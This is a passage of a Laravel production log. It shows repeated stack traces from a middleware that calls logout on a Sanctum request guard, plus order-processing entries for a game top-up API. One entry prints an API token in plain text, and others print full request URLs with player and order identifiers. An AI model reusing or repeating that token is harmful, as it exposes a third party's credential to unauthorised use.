#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:15:32] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:15:32] production.INFO: Handling job for order: 179457  
[2026-03-24 22:15:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:15:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:15:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/596/params?qty=13000&uuid=305b762a-13c6-4e55-ae69-f2acca012f63&Player_ID=102659837  
[2026-03-24 22:15:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/596/params?qty=13000&uuid=305b762a-13c6-4e55-ae69-f2acca012f63&Player_ID=102659837","has_body":false} 
[2026-03-24 22:15:33] production.INFO: Operation sent successfully {"operation_id":164330,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ILN7-1774379733","amount":4.49713680000000071146359914564527571201324462890625,"status":"processing","product":"Lama Amount","game":"Lama","notes":[],"created_at":"2026-03-24 22:15:33"}},"processed_data":{"order_number":"ORD-ILN7-1774379733","amount":4.49713680000000071146359914564527571201324462890625,"status":"processing","product":"Lama Amount","game":"Lama"}} 
[2026-03-24 22:15:55] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:15:57] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:15:59] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
